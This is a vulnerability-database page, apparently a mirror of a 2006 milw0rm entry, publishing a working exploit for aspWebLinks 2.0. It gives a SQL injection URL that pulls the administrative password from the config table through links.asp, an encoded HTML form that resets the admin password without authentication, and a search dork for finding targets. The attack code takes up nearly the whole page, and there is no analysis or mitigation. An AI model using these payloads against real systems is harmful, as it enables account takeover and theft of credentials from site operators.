aspWebLinks 2.0 - Remote SQL Injection / Admin Pass Change Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
aspWebLinks 2.0 Remote Admin Pass Change Exploit and links.asp SQL Injectio

                                                &#60;!--
# Title  :   aspWebLinks 2.0 Remote Admin Pass Change Exploit and links.asp SQL Injection
# Author :   ajann
# Dork   :   aspWebLinks 2.0

SQL INJECTION:
http://[target]/[path]/links.asp?action=reporterror&linkID=221%20union%20select+0,administrativepassword,0,0,0,0,0,0,0+from+config
--&#62;


&#60;title&#62;AspWebLink 2.0 Remote Admin Pass Change Exploit&#60;/title&#62;
&#60;form method=&#39;POST&#39; action=&#39;links.asp?action=modifyconfigprocess&#39;&#62;&#60;input 
type=&#39;hidden&#39; name=&#39;txtConfigID&#39; value=&#39;1&#39;&#62;&#60;input type=&#39;hidden&#39; 
name=&#39;txtSkinName&#39; value=&#39;default&#39;&#62;&#60;table border=&#39;0&#39; width=&#39;100%&#39; 
cellspacing=&#39;0&#39; cellpadding=&#39;3&#39;&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; 
valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Administrative 
Password:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input type=&#39;text&#39; 
name=&#39;txtAdministrativePassword&#39; size=&#39;43&#39; 
value=&#39;EDITPASSWORD&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; 
valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Number of Days 
New:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input type=&#39;text&#39; 
name=&#39;txtNumberOfDaysNew&#39; size=&#39;43&#39; value=&#39;15&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; 
align=&#39;right&#39; valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; 
color=&#34;black&#34;&#62;&#60;b&#62;Number of Visits Hot:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input 
type=&#39;text&#39; name=&#39;txtHotRating&#39; size=&#39;43&#39; value=&#39;200&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td 
width=&#39;30%&#39; align=&#39;right&#39; valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; 
color=&#34;black&#34;&#62;&#60;b&#62;Links Per Page:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input 
type=&#39;text&#39; name=&#39;txtRecordsPerPage&#39; size=&#39;43&#39; value=&#39;12&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td 
width=&#39;30%&#39; align=&#39;right&#39; valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; 
color=&#34;black&#34;&#62;&#60;b&#62;Category Header:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input 
type=&#39;text&#39; name=&#39;txtCategoryHeader&#39; size=&#39;43&#39; value=&#39;&#60;b&#62;Select A 
Category:&#60;/b&#62;&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; 
valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Category 
Columns:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input type=&#39;text&#39; 
name=&#39;txtCategoryCols&#39; size=&#39;43&#39; value=&#39;2&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; 
align=&#39;right&#39; valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Sub 
Category Header:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input type=&#39;text&#39; 
name=&#39;txtSubCategoryHeader&#39; size=&#39;43&#39; value=&#39;Select A Sub Category to pick 
or ADD your link:&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; 
valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Show Category 
Description:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input type=&#39;radio&#39; value=&#39;YES&#39; 
name=&#39;txtShowCatDescription&#39; checked &#62;YES&#60;input type=&#39;radio&#39; value=&#39;NO&#39; 
name=&#39;txtShowCatDescription&#39; &#62;NO&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; 
valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Show Whats New on 
home page:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input type=&#39;radio&#39; value=&#39;YES&#39; 
name=&#39;txtShowWhatsNew&#39; checked &#62;YES&#60;input type=&#39;radio&#39; value=&#39;NO&#39; 
name=&#39;txtShowWhatsNew&#39; &#62;NO&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; 
valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Number of New 
items on home page:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input type=&#39;text&#39; 
name=&#39;txtHowManyNew&#39; size=&#39;43&#39; value=&#39;10&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; 
align=&#39;right&#39; valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; 
color=&#34;black&#34;&#62;&#60;b&#62;Show Whats Hot on home page:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td 
width=&#39;70%&#39;&#62;&#60;input type=&#39;radio&#39; value=&#39;YES&#39; name=&#39;txtShowWhatsHot&#39; checked 
 &#62;YES&#60;input type=&#39;radio&#39; value=&#39;NO&#39; name=&#39;txtShowWhatsHot&#39; 
 &#62;NO&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; valign=&#39;top&#39;&#62;&#60;font 
face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Require approval for link and review 
additions:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input type=&#39;radio&#39; value=&#39;YES&#39; 
name=&#39;txtNeedApproval&#39; checked &#62;YES&#60;input type=&#39;radio&#39; value=&#39;NO&#39; 
name=&#39;txtNeedApproval&#39; &#62;NO&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; 
valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Number of Hot 
items on home page:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input type=&#39;text&#39; 
name=&#39;txtHowManyHot&#39; size=&#39;43&#39; value=&#39;10&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; 
align=&#39;right&#39; valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; 
color=&#34;black&#34;&#62;&#60;b&#62;Whats New Header:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input 
type=&#39;text&#39; name=&#39;txtWhatsNewHeader&#39; size=&#39;43&#39; value=&#39;&#60;b&#62;Whats 
New:&#60;/b&#62;&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; valign=&#39;top&#39;&#62;&#60;font 
face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Whats Hot Header:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td 
width=&#39;70%&#39;&#62;&#60;input type=&#39;text&#39; name=&#39;txtWhatsHotHeader&#39; size=&#39;43&#39; 
value=&#39;&#60;b&#62;Whats Hot:&#60;/b&#62;&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; 
valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; color=&#34;black&#34;&#62;&#60;b&#62;Sort Links 
By:&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;select size=&#39;1&#39; name=&#39;txtSortBy&#39;&#62;&#60;option 
selected value=&#39;ALPHA&#39;&#62;Alphabetically&#60;/option&#62;&#60;option  value=&#39;DATE&#39;&#62;Date 
Added&#60;/option&#62;&#60;option  value=&#39;HITS&#39;&#62;Number of 
Visits&#60;/option&#62;&#60;/td&#62;&#60;/tr&#62;&#60;tr&#62;&#60;td width=&#39;30%&#39; align=&#39;right&#39; 
valign=&#39;top&#39;&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;1&#34; 
color=&#34;black&#34;&#62;&#60;b&#62;&#60;/b&#62;&#60;/font&#62;&#60;/td&#62;&#60;td width=&#39;70%&#39;&#62;&#60;input type=&#39;submit&#39; 
value=&#39;Update Configuration&#39; name=&#39;B1&#39;&#62;&#60;/td&#62;&#60;/tr&#62;&#60;/table&#62;&#60;/form&#62;

# milw0rm.com [2006-06-01]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1